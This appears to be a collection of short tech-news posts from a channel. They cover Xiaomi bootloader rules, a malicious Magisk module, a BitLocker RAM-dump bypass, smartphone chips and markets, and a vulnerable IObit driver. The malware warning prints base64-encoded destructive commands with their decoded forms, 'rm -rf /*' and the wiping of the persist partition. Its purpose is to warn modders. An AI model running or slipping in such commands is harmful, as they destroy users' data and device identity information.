Xiaomi again updates rules for unlocking bootloader in China

Last year, with the launch of HyperOS, Xiaomi changed policy for unlocking bootloader in mainland China and now the rules have been updated once again to unlock bootloader in 2025.

The number of unlocking permissions is time-limited in China. Until the end of the year, applications approved between November 8, 2023, and December 31, 2024, allow for a total of up to 3 devices during this period. But from 1st January 2025 onwards, users who have applied for unlocking bootloader can unlock upto 1 device only from 1 account during the validity period. This validity is based on actual unlocking time (not the binding time period).

Honestly, at this point they should just terminate the bootloader unlocking program as it will not suck as much as this. Xiaomi trying to look like still allowing bootloader unlocking while deep within they want to close it so badly is crazy

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BREAKING: Xiaomi Announced New Rules for Bootloader Unlocking for Global Users

Xiaomi recently updates rules for its bootloader unlocking program in China which will be applicable since 1st Jan 2025 onwards. But the same rules are also applicable for global users.

Thus, global users can unlock ONLY 1 device per account in 1 year as the unlocking period is basically around 1 year. After that, you need to again apply for unlocking permissions from Xiaomi. In theory, the permissions should be given instantly but the reality is often disappointing as there have been instances where some users have been trying to gain permission to unlock bootloader for their phone for even 2 months now and still NO luck

Who knows Xiaomi might again updates its bootloader unlocking program rules in 2025 end wherein they might announce, GAME OVER.

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🚨 ALERT: Malicious Magisk Module Exposed! 🚨

Y’all, I found a dangerous module (zygisk next pro) that can wreck your phone. If you’re into Android modding, beware of this one before it wrecks your device.

What Does It Do and How Does It Hide the Damage?

This module uses base64 encoding to hide dangerous commands:

1. Wipes Everything on Your Phone

Encoded Command: cm0gLXJmIC8qCg==

Decoded Command: rm -rf /*

Effect: Deletes everything—apps, files, system—turns your phone into a brick.

2. Destroys Critical Hardware Data

Encoded Command: cm0gLXJmIC9tbnQvdmVuZG9yL3BlcnNpc3QvKiAmCg==

Decoded Command: rm -rf /mnt/vendor/persist/*

Effect: Destroys key data like Wi-Fi settings and IMEI. No Wi-Fi, no calls.



3. Scrambles Your Data Forever

Encoded Command: L2Rldi9ibG9jay9ieS1uYW1lL3VzZXJkYXRhCg==

Decoded Command: /dev/block/by-name/userdata

Effect: Overwrites your data with junk. Photos, videos, files—gone for good

Where Is It From?

This malicious module is hosted on GitHub and spread across various telegram groups.

What Should You Do?

1. Don’t install random Magisk modules unless you trust the source.

2. Share this post with anyone you know who mods their phone. Let’s stop this scam from spreading.

~ Regards // Mona

VPN usage spiked in the US as States ban porn

17 states out of 50 states in the US (more than 33%),have now introduced restrictions for online adult content, blocking access to popular pornographic websites such as Pornhub, RedTube, YouPorn etc. The restriction applies to the under 18 age group and it also requires visitors to provide state-approved identification, such as a passport or driving license.

Critics claim that this is a violation of user privacy, with Pornhub, RedTube and YouPorn parent company Aylo claiming that it also puts people’s personal data at risk. These company have withdrawn its websites from these states as a result of the laws.

Further restrictions could be introduced under Donald Trump’s administration as controversial Project 2025 plan states :-

"Pornography should be outlawed. The people who produce and distribute it should be imprisoned”.

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Windows 11 BitLocker Encryption has been BYPASSED!

Researchers have shown a method to bypass bitlocker using physical attacks. This attack is done by checking and capturing contents of RAM while the computer boots up. Why? Because bitlocker encryption key is temporarily stored when the PC is booting. A person can just restart while the pc is booting and dump the RAM to extract Full Volume Encryption Keys. (FVEK)

LOL even Bitlocker is not secure anymore!!!

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The Fate of the Exynos 2500

Samsung Galaxy S25 series will be powered by Snapdragon 8 Gen Elite Leading Edition (4.57GHz overclocked) everywhere, irrespective of the country, instead of the Exynos 2500 because of the poor yields of the Samsung 2nd Gen 3nm GAA architecture. Fortunately, the Exynos 2500 is still alive and Samsung has even begun its mass production and it will power the Galaxy Flip 7.

Anyways, Galaxy S25+ Europe model with 12GB RAM running Android 15 was spotted on Geekbench 6 which revealed the configuration of the chip

CPU:
1x Cortex-X925 @ 3.30GHz
2x Cortex-A725 @ 2.75GHz
5x Cortex-A725 @ 2.36GHz
2x Cortex-A525 @ 1.80GHz

Thus, a deca-core chip with confirguration of 1+2+5+2.
NOTE: The clock speeds are NOT final because it was running on energy_aware and is a prototype model as well

GPU: Samsung Xclipse 950 @ 1.3GHz
Based on the AMD RDNA 3.5 architecture
16CU (compute units)

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The Flagship Smartphone Market of India

Above 500$ smartphones market sector in India remains dominated by Apple with 54% market share and Samsung with 30%. Acc to Canalys, the premium smartphone shipments grew from 4.2M units in 2023 to 6.5M units in 2024.

Among the android brands, Samsung continues to dominates it with 67% shipments in 2024. OnePlus dropped considerably in the market, going from 21% to just 6% in a year, while other BBK brands like Oppo's shipment grew by 8% and Vivo saw a notable growth.

Google Pixel also saw noteworthy growth in India, jumping from a mere 1% in 2023 to 5% in 2024. Xiaomi however is categorized under the "Others" segment, which likely includes brands like Nothing, Honor, ROG etc. Shipments for this segment dropped from 4% in 2023 to just 2% in 2024.

For Xiaomi, its likely because of the image reputation it has developed among the consumers while Nothing and Honor have only recently entered the premium segment.

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Samsung Galaxy watches may soon let you control the TV with air gestures

“Pointer Mode” feature for Wear OS through the SmartThings app.

✅ Details - https://www.androidauthority.com/galaxy-smartwatch-pointer-mode-3513036/

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Shoutout to the homies at "IObit Malware Fighter".

Their IMFForceDelete driver is so wildly vulnerable, and poorly written, you can have their driver arbitrarily delete any file on the machine with 0 privileges and literally 1 line of code

Thanks _mmpte_software for sharing

We're so back 🙏

But in all seriousness, this is cooked. Also, driver is signed. Throw in the pile of crappy poo poo pee pee drivers

https://gist.github.com/alfarom256/f1342f14dc6a742de7ea4004a1b6d7ed